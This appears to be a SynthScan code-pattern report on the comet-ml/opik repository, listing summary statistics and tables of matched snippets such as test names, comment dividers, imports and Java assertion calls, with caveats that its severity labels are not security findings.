Debug, evaluate, and monitor your LLM applications, RAG systems, and agentic workflows with comprehensive tracing, automated evaluations, and production-ready dashboards.
This report summarizes scanner evidence for comet-ml/opik, a Python project with 22,494 GitHub stars. SynthScan examined 1,651,111 lines of code across 10510 source files, recording 16868 pattern matches distributed across 27 syntactic categories. The legacy adjusted pattern signal is 13.9 (Moderate pattern signal); it is not an authorship estimate.
Use the findings to ask whether maintainers can explain intent, verify dependencies, simplify unnecessary scaffolding, and focus review effort. Risk Payload v1 adds ownership, supply-chain, over-engineering, and review-effort vectors when available. These are prompts for human verification, not probabilities, security findings, or measured maintenance costs.
Use each vector to guide manual verification of the underlying findings.
Can maintainers explain intent, assumptions, and trade-offs? 10839 finding(s).
Are imports declared and package/API names verified? 3809 finding(s).
Are wrappers, guards, and repeated structures necessary? 11296 finding(s).
Which changes need focused human review? 16868 finding(s).
This chart tracks the legacy adjusted pattern score across scan runs. Changes can reflect source changes, scan coverage, or detector/scoring versions; they do not measure AI adoption or prove that a team refactored code. Compare runs only when their scoring versions are compatible. The dashed line tracks the raw pattern-hit count.
Groups findings by configured severity weight. Severity is not a confidence estimate, security rating, or proof that a package is missing. Verify imports against the project's manifests and inspect each finding in its local design context.
This horizontal bar chart shows where configured pattern scores accumulate across directories. Treat the bars as locations to inspect, not as evidence of authorship or code quality. Use the file-level findings to decide whether a directory needs a focused ownership, dependency, complexity, or review check.
The scanner identified 16868 distinct pattern matches across 27 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a detector match to inspect in context. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.
Reading the findings table: The Severity column indicates the configured finding weight (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — legacy comment-context matches receive a ×1.5 score weight. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier under the legacy scoring model.
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | sdks/python/design/TESTING.md | 129 | def test_track__one_nested_function__happyflow(fake_backend): | CODE |
| LOW | sdks/python/design/TESTING.md | 190 | def test_openai_client_responses_create__happyflow(fake_backend): | CODE |
| LOW | sdks/python/design/TESTING.md | 258 | def test_trace_creation_and_retrieval(opik_client, temporary_project_name): | CODE |
| LOW | sdks/python/design/TESTING.md | 500 | def shutdown_cached_client_after_test(): | CODE |
| LOW | sdks/python/design/TESTING.md | 562 | def reset_tracing_to_config_default(): | CODE |
| LOW | sdks/python/design/TESTING.md | 583 | def test_track__one_nested_function__happyflow(fake_backend): | CODE |
| LOW | sdks/python/design/TESTING.md | 641 | def test_openai_client_responses_create__happyflow( | CODE |
| LOW | sdks/python/design/TESTING.md | 700 | def test_trace_creation_with_spans(opik_client, temporary_project_name): | CODE |
| LOW | sdks/python/design/TESTING.md | 753 | def test_track__function_raises_exception__error_info_captured(fake_backend): | CODE |
| LOW | sdks/python/design/TESTING.md | 792 | def test_openai_streaming_response(fake_backend): | CODE |
| LOW | sdks/python/design/TESTING.md | 838 | def test_hallucination_metric__happyflow(): | CODE |
| LOW⚡ | sdks/python/design/TESTING.md | 861 | def test_track__one_nested_function__happyflow(fake_backend): | CODE |
| LOW⚡ | sdks/python/design/TESTING.md | 862 | def test_track__function_raises_exception__error_info_captured(fake_backend): | CODE |
| LOW⚡ | sdks/python/design/TESTING.md | 863 | def test_evaluate__with_custom_metric__scores_computed_correctly(fake_backend): | CODE |
| LOW | sdks/python/design/TESTING.md | 940 | def test_double_function__various_inputs__correct_outputs( | CODE |
| LOW | sdks/python/design/TESTING.md | 971 | def ensure_myintegration_configured(): | CODE |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 708 | def _process_create_trace_message( | CODE |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 1085 | def _has_potential_content_with_attachments(message: BaseMessage) -> bool: | CODE |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 1098 | def _message_has_field_of_interest_set(message) -> bool: | CODE |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 1632 | def _process_create_spans_batch_message( | CODE |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 1748 | def _generate_error_tracking_extra( | CODE |
| LOW | sdks/python/design/EVALUATION.md | 621 | def evaluate_llm_task_context( | CODE |
| LOW | sdks/python/design/EVALUATION.md | 1159 | def is_llm_provider_rate_limit_error(exception: Exception) -> bool: | CODE |
| LOW | sdks/python/tests/conftest.py | 34 | def shutdown_cached_client_after_test(): | CODE |
| LOW | sdks/python/tests/conftest.py | 46 | def skip_local_configuration_file(tmp_path): | CODE |
| LOW | sdks/python/tests/conftest.py | 113 | def patch_streamer_without_batching( | CODE |
| LOW | sdks/python/tests/conftest.py | 173 | def fake_backend_without_batching(patch_streamer_without_batching): | CODE |
| LOW | sdks/python/tests/conftest.py | 197 | def fake_backend_with_patched_environment(request, patch_streamer): | CODE |
| LOW | sdks/python/tests/conftest.py | 226 | def configure_opik_local_env_vars(): | CODE |
| LOW | sdks/python/tests/conftest.py | 236 | def configure_opik_not_configured(): | CODE |
| LOW⚡ | sdks/python/tests/conftest.py | 279 | def ensure_google_project_and_location_configured(): | CODE |
| LOW⚡ | sdks/python/tests/conftest.py | 289 | def ensure_anthropic_configured(): | CODE |
| LOW⚡ | sdks/python/tests/conftest.py | 297 | def ensure_mistral_configured(): | CODE |
| LOW⚡ | sdks/python/tests/conftest.py | 305 | def ensure_vertexai_configured(ensure_google_project_and_location_configured): | CODE |
| LOW⚡ | sdks/python/tests/conftest.py | 336 | def ensure_google_api_configured(): | CODE |
| LOW⚡ | sdks/python/tests/conftest.py | 343 | def ensure_aws_bedrock_configured(): | CODE |
| LOW⚡ | sdks/python/tests/unit/test_environment_session_id.py | 26 | def test_session_id__launcher_passed_one__it_is_used(monkeypatch): | CODE |
| LOW⚡ | sdks/python/tests/unit/test_environment_session_id.py | 31 | def test_session_id__no_launcher__one_is_generated(monkeypatch): | CODE |
| LOW⚡ | sdks/python/tests/unit/test_environment_session_id.py | 39 | def test_run_context__launcher_named__is_reported(monkeypatch): | CODE |
| LOW⚡ | sdks/python/tests/unit/test_environment_session_id.py | 60 | def test_launcher_values__are_read_from_the_environment(reimported): | CODE |
| LOW⚡ | sdks/python/tests/unit/test_environment_session_id.py | 67 | def test_launcher_values__blank__are_not_used(reimported): | CODE |
| LOW⚡ | sdks/python/tests/unit/test_environment_session_id.py | 77 | def test_launcher_values__are_not_passed_on_to_child_processes(reimported): | CODE |
| LOW⚡ | sdks/python/tests/unit/test_environment_session_id.py | 87 | def test_session_id__forked_child__does_not_keep_the_launcher_id(monkeypatch): | CODE |
| LOW | sdks/python/tests/unit/conftest.py | 12 | def shutdown_opik_background_threads(): | CODE |
| LOW | sdks/python/tests/unit/test_url_helpers.py | 31 | def test_get_is_alive_ping_url__base_url__returns_expected_ping_url( | CODE |
| LOW | sdks/python/tests/unit/test_url_helpers.py | 58 | def test_get_user_permissions_url__url_override__keeps_path_prefix( | CODE |
| LOW | sdks/python/tests/unit/test_url_helpers.py | 78 | def test_get_ui_url__url_override__only_strips_api_suffix( | CODE |
| LOW | sdks/python/tests/unit/test_url_helpers.py | 102 | def test_get_dataset_url_by_id__returns_direct_project_scoped_url( | CODE |
| LOW | sdks/python/tests/unit/test_url_helpers.py | 129 | def test_get_test_suite_url_by_id__returns_direct_project_scoped_url( | CODE |
| LOW | sdks/python/tests/unit/test_url_helpers.py | 158 | def test_get_experiment_url_by_id__returns_direct_dataset_scoped_url( | CODE |
| LOW | sdks/python/tests/unit/test_logging.py | 6 | def test_convert_exception_to_log_message__happy_scenario_with_original_returned_value(): | CODE |
| LOW | sdks/python/tests/unit/test_logging.py | 26 | def test_convert_exception_to_log_message__exception_raised__exception_converted_into_log_message__another_value_returne | CODE |
| LOW | sdks/python/tests/unit/test_logging.py | 49 | def test_convert_exception_to_log_message__logging_level_not_set__error_level_used(): | CODE |
| LOW⚡ | sdks/python/tests/unit/test_opik_context_storage.py | 25 | def test_opik_storage__span_data_not_empty_after_adding_span(sample_span): | CODE |
| LOW⚡ | sdks/python/tests/unit/test_opik_context_storage.py | 32 | def test_opik_storage__add_span_data__adds_to_stack__the_same_instance_can_be_accessed( | CODE |
| LOW⚡ | sdks/python/tests/unit/test_opik_context_storage.py | 41 | def test_opik_storage__pop_span_data__with_ensure_id_matching_top__returns_span( | CODE |
| LOW⚡ | sdks/python/tests/unit/test_opik_context_storage.py | 50 | def test_opik_storage__pop_span_data__with_ensure_id_not_matching_top__returns_none( | CODE |
| LOW⚡ | sdks/python/tests/unit/test_opik_context_storage.py | 60 | def test_opik_storage__pop_span_data__without_ensure_id__returns_span(sample_span): | CODE |
| LOW⚡ | sdks/python/tests/unit/test_opik_context_storage.py | 68 | def test_opik_storage__pop_span_data__multiple_spans__returns_in_lifo_order(): | CODE |
| LOW | sdks/python/tests/unit/test_opik_context_storage.py | 85 | def test_opik_storage__pop_span_data__without_ensure_id__finished_span_on_top__pops_the_live_span_beneath(): | CODE |
| 8686 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM⚡ | .pre-commit-config.yaml | 187 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | .pre-commit-config.yaml | 189 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | .pre-commit-config.yaml | 242 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | .pre-commit-config.yaml | 245 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | .pre-commit-config.yaml | 255 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | .pre-commit-config.yaml | 258 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | .pre-commit-config.yaml | 271 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | .pre-commit-config.yaml | 275 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | .pre-commit-config.yaml | 285 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | .pre-commit-config.yaml | 289 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | .pre-commit-config.yaml | 299 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | .pre-commit-config.yaml | 303 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 10 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 12 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 55 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 57 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 222 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 224 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 318 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 320 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 335 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 340 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 352 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 357 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 368 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 378 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 391 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 401 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | sdks/python/tests/llm_constants.py | 23 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | sdks/python/tests/llm_constants.py | 25 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | sdks/python/tests/llm_constants.py | 49 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | sdks/python/tests/llm_constants.py | 51 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/llm_constants.py | 63 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/llm_constants.py | 65 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/llm_constants.py | 71 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/llm_constants.py | 73 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/llm_constants.py | 80 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/llm_constants.py | 82 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 112 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 114 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 258 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 260 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 366 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 368 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 396 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 398 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 487 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 489 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 515 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 517 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 1156 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 1158 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 1344 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 1346 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 1506 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 1509 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | sdks/python/tests/unit/test_export_import_all.py | 62 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | sdks/python/tests/unit/test_export_import_all.py | 64 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | sdks/python/tests/unit/test_export_import_all.py | 1407 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | sdks/python/tests/unit/test_export_import_all.py | 1409 | # --------------------------------------------------------------------------- | COMMENT |
| 640 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …s/python/tests/unit/cli/test_migrate_prompt_planner.py | 8 | CODE | |
| LOW | …ts/unit/cli/test_migrate_dataset_resume_reconstruct.py | 10 | CODE | |
| LOW | …/python/tests/unit/cli/test_migrate_prompt_executor.py | 10 | CODE | |
| LOW | sdks/python/tests/unit/cli/_migrate_helpers.py | 9 | CODE | |
| LOW | …unit/cli/test_migrate_dataset_optimizations_cascade.py | 23 | CODE | |
| LOW | …/python/tests/unit/cli/test_migrate_dataset_planner.py | 12 | CODE | |
| LOW | …s/unit/cli/test_migrate_dataset_experiments_cascade.py | 22 | CODE | |
| LOW | …thon/tests/unit/cli/test_migrate_dataset_checkpoint.py | 20 | CODE | |
| LOW | sdks/python/tests/unit/cli/_migrate_prompt_helpers.py | 9 | CODE | |
| LOW | …/tests/unit/cli/test_migrate_dataset_version_replay.py | 13 | CODE | |
| LOW | …ions/mistral/test_chat_completion_chunks_aggregator.py | 638 | CODE | |
| LOW | …ests/unit/evaluation/models/test_litellm_chat_model.py | 232 | CODE | |
| LOW | …on/tests/testlib/backend_emulator_message_processor.py | 9 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 1 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 1 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 1 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 1 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 1 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 2 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 2 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 2 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 2 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 8 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 9 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 10 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 11 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 11 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 11 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 11 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 12 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 12 | CODE | |
| LOW | …s/e2e_library_integration/adk/sample_agent/__init__.py | 1 | CODE | |
| LOW | …ary_integration/adk/sample_agent_anthropic/__init__.py | 1 | CODE | |
| LOW | …ibrary_integration/adk/sample_agent_openai/__init__.py | 1 | CODE | |
| LOW | sdks/python/tests/e2e/test_annotation_queue.py | 1 | CODE | |
| LOW | sdks/python/tests/e2e/test_threads.py | 1 | CODE | |
| LOW | …ython/tests/e2e/cli/test_migrate_dataset_resume_e2e.py | 29 | CODE | |
| LOW | sdks/python/tests/e2e/cli/conftest.py | 17 | CODE | |
| LOW | sdks/python/tests/e2e/cli/test_migrate_prompt_e2e.py | 16 | CODE | |
| LOW | …/cli/test_migrate_dataset_cross_project_cascade_e2e.py | 32 | CODE | |
| LOW | …ks/python/tests/e2e/cli/test_migrate_test_suite_e2e.py | 23 | CODE | |
| LOW | …sts/e2e/cli/test_migrate_dataset_evaluate_shape_e2e.py | 24 | CODE | |
| LOW | sdks/python/tests/e2e/cli/test_migrate_dataset_e2e.py | 23 | CODE | |
| LOW | sdks/python/tests/e2e/cli/_cascade_comparison.py | 61 | CODE | |
| LOW | …ests/e2e/cli/test_migrate_dataset_optimizations_e2e.py | 36 | CODE | |
| LOW | sdks/python/src/_opik/__init__.py | 11 | CODE | |
| LOW | sdks/python/src/_opik/__init__.py | 12 | CODE | |
| LOW | sdks/python/src/opik/config.py | 1 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 1 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 2 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 2 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 6 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 7 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 8 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 9 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 10 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 11 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 12 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 13 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 13 | CODE | |
| 2694 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| CRITICAL | sdks/python/tests/unit/runner/test_supervisor.py | 555 | checklist = api.runners.patch_checklist.call_args.kwargs.get( | STRING |
| CRITICAL | …thon/src/opik/api_objects/optimization/optimization.py | 73 | response = self._rest_client.optimizations._raw_client._client_wrapper.httpx_client.request( | CODE |
| CRITICAL | …/opik_optimizer/tests/unit/core/test_scoring_health.py | 21 | from opik_optimizer.core.exceptions import ScoringFailedError | CODE |
| CRITICAL | …gorithms/gepa_optimizer/test_gepa_reflection_budget.py | 12 | from opik_optimizer.core.exceptions import ReflectionBudgetExceededError | CODE |
| CRITICAL | …t/algorithms/gepa_optimizer/test_gepa_reflection_lm.py | 36 | from opik_optimizer.core.exceptions import EmptyLLMResponseError | CODE |
| CRITICAL | sdks/opik_optimizer/tests/unit/utils/test_utils.py | 6 | from opik_optimizer.utils.helpers import json_to_dict | CODE |
| CRITICAL⚡ | sdks/opik_optimizer/tests/unit/utils/test_utils.py | 158 | from opik_optimizer.utils.helpers import _convert_literals_to_json_compatible | CODE |
| CRITICAL⚡ | sdks/opik_optimizer/tests/unit/utils/test_utils.py | 165 | from opik_optimizer.utils.helpers import _convert_literals_to_json_compatible | CODE |
| CRITICAL⚡ | sdks/opik_optimizer/tests/unit/utils/test_utils.py | 172 | from opik_optimizer.utils.helpers import _convert_literals_to_json_compatible | CODE |
| CRITICAL⚡ | sdks/opik_optimizer/tests/unit/utils/test_utils.py | 179 | from opik_optimizer.utils.helpers import _convert_literals_to_json_compatible | CODE |
| CRITICAL⚡ | sdks/opik_optimizer/tests/unit/utils/test_utils.py | 188 | from opik_optimizer.utils.helpers import _convert_literals_to_json_compatible | CODE |
| CRITICAL⚡ | sdks/opik_optimizer/tests/unit/utils/test_utils.py | 198 | from opik_optimizer.utils.helpers import _convert_literals_to_json_compatible | CODE |
| CRITICAL | sdks/opik_optimizer/benchmarks/engines/local/engine.py | 31 | from benchmarks.utils.helpers import make_serializable | CODE |
| CRITICAL | sdks/opik_optimizer/benchmarks/engines/modal/volume.py | 10 | from benchmarks.utils.helpers import make_serializable | CODE |
| CRITICAL | …es/v1/priv/PromptResourceProjectScopedPromptsTest.java | 132 | URLEncoder.encode(com.comet.opik.utils.JsonUtils.writeValueAsString(sortingFields), | CODE |
| CRITICAL | …k/api/resources/v1/priv/OpenTelemetryResourceTest.java | 482 | var spanBuilder = com.comet.opik.api.Span.builder() | CODE |
| CRITICAL | …k/api/resources/v1/priv/OpenTelemetryResourceTest.java | 1149 | var existingSpan = com.comet.opik.api.Span.builder() | CODE |
| CRITICAL | …ik/api/resources/v1/priv/LocalRunnersResourceTest.java | 777 | @org.junit.jupiter.params.provider.MethodSource("paramsWithPresenceCases") | CODE |
| CRITICAL | …ik/api/resources/v1/priv/LocalRunnersResourceTest.java | 794 | org.junit.jupiter.params.provider.Arguments.of(List.of( | CODE |
| CRITICAL | …ik/api/resources/v1/priv/LocalRunnersResourceTest.java | 801 | org.junit.jupiter.params.provider.Arguments.of(List.of( | CODE |
| CRITICAL | …met/opik/api/resources/v1/priv/OllamaResourceTest.java | 142 | .post(jakarta.ws.rs.client.Entity.json(request)); | CODE |
| CRITICAL | …met/opik/api/resources/v1/priv/OllamaResourceTest.java | 171 | .post(jakarta.ws.rs.client.Entity.json(request)); | CODE |
| CRITICAL | …met/opik/api/resources/v1/priv/OllamaResourceTest.java | 192 | .post(jakarta.ws.rs.client.Entity.json(request)); | CODE |
| CRITICAL | …met/opik/api/resources/v1/priv/OllamaResourceTest.java | 211 | .post(jakarta.ws.rs.client.Entity.json(request)); | CODE |
| CRITICAL | …met/opik/api/resources/v1/priv/OllamaResourceTest.java | 270 | .post(jakarta.ws.rs.client.Entity.json(request)); | STRING |
| CRITICAL | …met/opik/api/resources/v1/priv/OllamaResourceTest.java | 314 | .post(jakarta.ws.rs.client.Entity.json(request)); | STRING |
| CRITICAL | …met/opik/api/resources/v1/priv/OllamaResourceTest.java | 335 | .post(jakarta.ws.rs.client.Entity.json(request)); | STRING |
| CRITICAL | …api/resources/v1/priv/ChatCompletionsResourceTest.java | 513 | com.github.tomakehurst.wiremock.client.WireMock.equalTo(apiVersion))); | CODE |
| CRITICAL | …pi/resources/v1/priv/FindTraceThreadsResourceTest.java | 1894 | var matchingValue = com.comet.opik.utils.JsonUtils.getJsonNodeFromString( | CODE |
| CRITICAL | …riv/ExperimentsResourceFindProjectExperimentsTest.java | 548 | com.comet.opik.api.resources.utils.ListComparators.ascending()) | CODE |
| CRITICAL | …riv/ExperimentsResourceFindProjectExperimentsTest.java | 554 | com.comet.opik.api.resources.utils.ListComparators.descending()) | CODE |
| CRITICAL | …ik/api/resources/v1/priv/AgentConfigsResourceTest.java | 952 | com.comet.opik.domain.AgentConfigEnv.builder() | CODE |
| CRITICAL | …s/v1/priv/ProjectMetricsWithBreakdownResourceTest.java | 109 | wireMock = com.comet.opik.api.resources.utils.WireMockUtils.startWireMock(); | CODE |
| CRITICAL | …i/resources/v1/priv/LlmProviderApiKeyResourceTest.java | 913 | wireMock.server().stubFor(com.github.tomakehurst.wiremock.client.WireMock.post(urlPathEqualTo(tokenPath)) | CODE |
| CRITICAL | …i/resources/v1/priv/LlmProviderApiKeyResourceTest.java | 914 | .willReturn(com.github.tomakehurst.wiremock.client.WireMock.aResponse() | CODE |
| CRITICAL | …rces/v1/priv/AutomationRuleEvaluatorsResourceTest.java | 1584 | .isEqualTo((new com.comet.opik.api.error.ErrorMessage( | STRING |
| CRITICAL | …t/opik/api/resources/v1/priv/DatasetsResourceTest.java | 11483 | var changes = com.comet.opik.api.DatasetItemChanges.builder() | STRING |
| CRITICAL | …t/opik/api/resources/v1/priv/DatasetsResourceTest.java | 11537 | .put(jakarta.ws.rs.client.Entity.json( | STRING |
| CRITICAL | …ts/OnlineScoringUserDefinedMetricPythonScorerTest.java | 316 | var span = com.comet.opik.api.Span.builder() | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 240 | org.assertj.core.api.Assertions.assertThat(useTools).isFalse(); | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 244 | return com.comet.opik.api.evaluators.LlmAsJudgeMessage.builder() | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 254 | return com.comet.opik.api.evaluators.LlmAsJudgeMessage.builder() | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 367 | org.assertj.core.api.Assertions.assertThat(sent.get(0).messages()).hasSize(3); | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 368 | org.assertj.core.api.Assertions.assertThat(sent.get(0).toolSpecifications()) | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 376 | org.assertj.core.api.Assertions.assertThat(finalSent.toolSpecifications()).isNullOrEmpty(); | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 377 | org.assertj.core.api.Assertions.assertThat(finalSent.messages()).hasSize(5); | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 378 | org.assertj.core.api.Assertions.assertThat(finalSent.messages().get(3)) | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 380 | org.assertj.core.api.Assertions.assertThat(finalSent.messages().get(4)) | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 382 | org.assertj.core.api.Assertions.assertThat( | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 492 | org.assertj.core.api.Assertions.assertThat(finalSent.toolSpecifications()).isNullOrEmpty(); | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 494 | org.assertj.core.api.Assertions.assertThat(lastMessage) | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 496 | org.assertj.core.api.Assertions.assertThat( | CODE |
| CRITICAL | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 196 | @org.junit.jupiter.params.provider.CsvSource({ | CODE |
| CRITICAL | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 222 | org.assertj.core.api.Assertions.assertThat(useTools).isEqualTo(expectedUseTools); | CODE |
| CRITICAL | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 307 | org.assertj.core.api.Assertions.assertThat(result).isSameAs(plainResponse); | CODE |
| CRITICAL | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 356 | org.assertj.core.api.Assertions.assertThat(result).isSameAs(finalResponse); | CODE |
| CRITICAL | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 480 | org.assertj.core.api.Assertions.assertThat(result).isSameAs(finalResponse); | CODE |
| CRITICAL | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 672 | org.assertj.core.api.Assertions.assertThat(prompt).doesNotContain("\"spans\""); | STRING |
| CRITICAL | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 706 | org.assertj.core.api.Assertions.assertThat(prompt).doesNotContain(body); | STRING |
